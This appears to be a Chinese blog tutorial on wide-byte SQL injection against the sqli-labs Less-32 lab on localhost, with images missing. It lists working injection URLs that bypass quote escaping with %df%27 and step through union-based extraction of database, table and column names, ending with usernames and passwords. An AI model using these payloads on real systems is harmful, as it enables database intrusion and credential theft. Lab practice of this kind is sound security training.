sql注入之寬字節注入

  1. 寬字節注入的常見過濾函數

     捕獲.GIF

   捕獲3.GIF

        捕獲4.GIF

2.寬字節注入的條件

      捕獲5.GIF

       

        捕獲2.GIF

         捕獲6.GIF

            捕獲1.GIF

3.確定寬字節注入點

     http://127.0.0.1/sqli-labs-master/Less-32/?id=1%df%27

   1.GIF

      http://127.0.0.1/sqli-labs-master/Less-32/?id=1%df%27-- +

   2.GIF

 確定字符段

  http://127.0.0.1/sqli-labs-master/Less-32/?id=1%df%27 order by 3-- +

確定數據庫輸出的地方

  http://127.0.0.1/sqli-labs-master/Less-32/?id=0%df%27 union select 1,2,3-- +

   3.GIF

爆出數據庫

  http://127.0.0.1/sqli-labs-master/Less-32/?id=0%df%27 union select 1,database(),3-- +

    4.GIF

   查出表名

    http://127.0.0.1/sqli-labs-master/Less-32/?id=0%df%27 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3--+

5.GIF爆出列名

  http://127.0.0.1/sqli-labs-master/Less-32/?id=0%df%27 union select 1,(select group_concat(column_name) from information_schema.columns where table_name=0x7573657273),3--+6.GIF

爆出用戶名密碼

http://127.0.0.1/sqli-labs-master/Less-32/?id=0%df%27 union select 1,(select group_concat(username,0x7e,password) from users),3--+  7.GIF




發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章